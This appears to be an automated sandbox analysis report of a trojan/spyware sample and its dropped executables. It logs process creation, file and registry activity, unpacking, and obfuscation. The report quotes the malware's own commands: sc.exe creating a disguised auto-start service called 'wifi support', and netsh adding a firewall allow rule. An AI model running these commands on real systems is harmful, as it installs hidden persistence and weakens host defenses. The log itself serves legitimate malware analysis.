Source: wshgiwf.3.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: nruqclie.exe.30.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 76BD.exe.3.dr	Static PE information: Section: ZLIB complexity 0.995475672468
Source: 76BD.exe.3.dr	Static PE information: Section: \| ZLIB complexity 0.999923406863

Source: t7p1ekMto0.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: AgileDotNetProtector.exe.24.dr, Reborn/Help.cs

Suspicious URL: 'https://api.vimeworld.ru/user/name/'

Source: C:\Users\user\AppData\Local\Temp\5AF4.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\wshgiwf

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/49@121/10

Source: C:\Users\user\AppData\Local\Temp\66AE.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: CPU.exe.24.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity)
Source: CPU.exe.24.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: CPU.exe.24.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String)
Source: 24.0.66AE.exe.7a0000.0.unpack, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity)
Source: 24.0.66AE.exe.7a0000.0.unpack, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 24.0.66AE.exe.7a0000.0.unpack, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String)
Source: GPU.exe.24.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity)
Source: GPU.exe.24.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: GPU.exe.24.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String)
Source: 24.2.66AE.exe.7a0000.0.unpack, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity)
Source: 24.2.66AE.exe.7a0000.0.unpack, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 24.2.66AE.exe.7a0000.0.unpack, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String)
Source: 66AE.exe.3.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity)
Source: 66AE.exe.3.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 66AE.exe.3.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Security API names: System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String)

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Code function: 30_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

30_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

30_2_00409A6B

Source: 5AF4.exe

Binary or memory string: \RRTexture.vbp

Source: t7p1ekMto0.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\t7p1ekMto0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\t7p1ekMto0.exe 'C:\Users\user\Desktop\t7p1ekMto0.exe'
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Process created: C:\Users\user\Desktop\t7p1ekMto0.exe 'C:\Users\user\Desktop\t7p1ekMto0.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wshgiwf C:\Users\user\AppData\Roaming\wshgiwf
Source: C:\Users\user\AppData\Roaming\wshgiwf	Process created: C:\Users\user\AppData\Roaming\wshgiwf C:\Users\user\AppData\Roaming\wshgiwf
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5AF4.exe C:\Users\user\AppData\Local\Temp\5AF4.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6209.exe C:\Users\user\AppData\Local\Temp\6209.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\66AE.exe C:\Users\user\AppData\Local\Temp\66AE.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6A0A.exe C:\Users\user\AppData\Local\Temp\6A0A.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2392 -ip 2392
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\76BD.exe C:\Users\user\AppData\Local\Temp\76BD.exe
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7DF2.exe C:\Users\user\AppData\Local\Temp\7DF2.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\85C3.exe C:\Users\user\AppData\Local\Temp\85C3.exe
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process created: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe 'C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe'
Source: C:\Users\user\AppData\Local\Temp\6209.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 768
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C mkdir C:\Windows\SysWOW64\vauvbnqt\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process created: C:\Users\user\AppData\Local\Temp\CPU.exe 'C:\Users\user\AppData\Local\Temp\CPU.exe'
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\nruqclie.exe' C:\Windows\SysWOW64\vauvbnqt\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' create vauvbnqt binPath= 'C:\Windows\SysWOW64\vauvbnqt\nruqclie.exe /d\'C:\Users\user\AppData\Local\Temp\7DF2.exe\'' type= own start= auto DisplayName= 'wifi support'
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' description vauvbnqt 'wifi internet conection'
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' start vauvbnqt
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wisvc
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Process created: C:\Users\user\Desktop\t7p1ekMto0.exe 'C:\Users\user\Desktop\t7p1ekMto0.exe'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5AF4.exe C:\Users\user\AppData\Local\Temp\5AF4.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6209.exe C:\Users\user\AppData\Local\Temp\6209.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\66AE.exe C:\Users\user\AppData\Local\Temp\66AE.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6A0A.exe C:\Users\user\AppData\Local\Temp\6A0A.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\76BD.exe C:\Users\user\AppData\Local\Temp\76BD.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7DF2.exe C:\Users\user\AppData\Local\Temp\7DF2.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\85C3.exe C:\Users\user\AppData\Local\Temp\85C3.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Process created: C:\Users\user\AppData\Roaming\wshgiwf C:\Users\user\AppData\Roaming\wshgiwf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process created: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe 'C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process created: C:\Users\user\AppData\Local\Temp\CPU.exe 'C:\Users\user\AppData\Local\Temp\CPU.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2392 -ip 2392
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 768
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C mkdir C:\Windows\SysWOW64\vauvbnqt\
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\nruqclie.exe' C:\Windows\SysWOW64\vauvbnqt\
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' create vauvbnqt binPath= 'C:\Windows\SysWOW64\vauvbnqt\nruqclie.exe /d\'C:\Users\user\AppData\Local\Temp\7DF2.exe\'' type= own start= auto DisplayName= 'wifi support'
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' description vauvbnqt 'wifi internet conection'
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' start vauvbnqt
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\5AF4.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Code function: 30_2_00406A60 lstrcatA,CreateFileA,GetDiskFreeSpaceA,GetLastError,CloseHandle,CloseHandle,FindCloseChangeNotification,GetLastError,CloseHandle,DeleteFileA,GetLastError,

30_2_00406A60

Source: 6A0A.exe	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: 6A0A.exe	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 6A0A.exe	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: 6A0A.exe	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: 6A0A.exe	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 6A0A.exe, 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 6A0A.exe	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Code function: 25_2_0040F881 _malloc,CreateToolhelp32Snapshot,CloseHandle,Process32First,Process32Next,FindCloseChangeNotification,

25_2_0040F881

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:3008:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6312:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\6209.exe	Mutant created: \Sessions\1\BaseNamedObjects\user987uh4b36teeorinthj

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\6209.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: t7p1ekMto0.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: GC:\koce.pdb source: 7DF2.exe, 0000001E.00000000.393872429.0000000000417000.00000002.00020000.sdmp
Source:	Binary string: clrjit.pdb source: 66AE.exe, 00000018.00000002.490261299.000000001B630000.00000004.00000001.sdmp
Source:	Binary string: C:\kepad\lip3\tasel_jipiyidaje.pdb source: 6209.exe, 00000017.00000000.378396621.0000000000459000.00000002.00020000.sdmp
Source:	Binary string: C:\leyefo\80\jefupiyekasupa\gonopav-wifibagela_losulilopew43_b.pdb source: 6A0A.exe, 00000019.00000000.382793300.0000000000426000.00000002.00020000.sdmp
Source:	Binary string: C:\koce.pdb source: 7DF2.exe, 0000001E.00000000.393872429.0000000000417000.00000002.00020000.sdmp
Source:	Binary string: P((C:\nurarudo.pdb source: t7p1ekMto0.exe, 00000000.00000000.227246080.0000000000413000.00000002.00020000.sdmp, wshgiwf, 00000010.00000000.348690097.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: C:\Users\Alexx\Desktop\QWER\DeviceCredentialDeployment\bin\Release\Secured\ConfigurationStringConstants.pdb source: 66AE.exe
Source:	Binary string: C:\nurarudo.pdb source: t7p1ekMto0.exe, 00000000.00000000.227246080.0000000000413000.00000002.00020000.sdmp, wshgiwf, 00000010.00000000.348690097.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: LC:\kepad\lip3\tasel_jipiyidaje.pdb source: 6209.exe, 00000017.00000000.378396621.0000000000459000.00000002.00020000.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Unpacked PE file: 1.2.t7p1ekMto0.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\wshgiwf	Unpacked PE file: 18.2.wshgiwf.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Unpacked PE file: 25.2.6A0A.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Unpacked PE file: 30.2.7DF2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Binary or sample is protected by dotNetProtector

Show sources

Source: 66AE.exe, 00000018.00000002.587156608.000000001B856000.00000004.00000001.sdmp	String found in binary or memory: file:///C:/Users/user/AppData/Local/Temp/AgileDotNetProtector.exe
Source: 66AE.exe, 00000018.00000002.587156608.000000001B856000.00000004.00000001.sdmp	String found in binary or memory: AgileDotNetProtector.exe
Source: 66AE.exe, 00000018.00000002.587156608.000000001B856000.00000004.00000001.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe
Source: 66AE.exe, 00000018.00000002.587156608.000000001B856000.00000004.00000001.sdmp	String found in binary or memory: file:///C:/Users/user/AppData/Local/Temp/AgileDotNetProtector.exeM1v
Source: 66AE.exe, 00000018.00000002.587156608.000000001B856000.00000004.00000001.sdmp	String found in binary or memory: file:///C:/Users/user/AppData/Local/Temp/AgileDotNetProtector.exet1}
Source: 66AE.exe, 00000018.00000002.587156608.000000001B856000.00000004.00000001.sdmp	String found in binary or memory: p\AgileDotNetProtector.exe
Source: 66AE.exe, 00000018.00000002.587156608.000000001B856000.00000004.00000001.sdmp	String found in binary or memory: "C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe
Source: 66AE.exe, 00000018.00000002.587156608.000000001B856000.00000004.00000001.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exeF
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: AgileDotNetProtector
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: AgileDotNetProtector.Properties.Resources.resources
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: AgileDotNetProtector.Properties
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: CommentsAgileDotNetProtectorJ
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: CompanyNameAgileDotNetProtectorR
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: FileDescriptionAgileDotNetProtector0
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: InternalNameAgileDotNetProtector.exeN
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: LegalCopyrightAgileDotNetProtector*
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: OriginalFilenameAgileDotNetProtector.exeJ
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: ProductNameAgileDotNetProtector4
Source: 66AE.exe, 00000018.00000002.428339139.0000000002B73000.00000004.00000001.sdmp	String found in binary or memory: :C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exex
Source: 66AE.exe, 00000018.00000002.431939031.0000000002C19000.00000004.00000001.sdmp	String found in binary or memory: :C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe
Source: 66AE.exe, 00000018.00000002.420767924.0000000000CA4000.00000004.00000020.sdmp	String found in binary or memory: "C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe" b
Source: 66AE.exe, 00000018.00000002.420867913.0000000000D1B000.00000004.00000020.sdmp	String found in binary or memory: /C:/Users/user/AppData/Local/Temp/AgileDotNetProtector.exe
Source: 66AE.exe, 00000018.00000002.420867913.0000000000D1B000.00000004.00000020.sdmp	String found in binary or memory: /C:/Users/user/AppData/Local/Temp/AgileDotNetProtector.exerH
Source: 66AE.exe, 00000018.00000002.420867913.0000000000D1B000.00000004.00000020.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe2H"
Source: 66AE.exe, 00000018.00000002.575476140.000000001B83A000.00000004.00000001.sdmp	String found in binary or memory: file:///C:/Users/user/AppData/Local/Temp/AgileDotNetProtector.exe_V
Source: 6A0A.exe, 00000019.00000003.422802820.0000000005580000.00000004.00000001.sdmp	String found in binary or memory: AgileDotNetProtector.exep
Source: 6A0A.exe, 00000019.00000003.423756431.0000000005580000.00000004.00000001.sdmp	String found in binary or memory: AgileDotNetProtector.exe
Source: svchost.exe, 0000001A.00000003.466886496.0000029A04879000.00000004.00000001.sdmp	String found in binary or memory: AgileDotNetProtector.exe
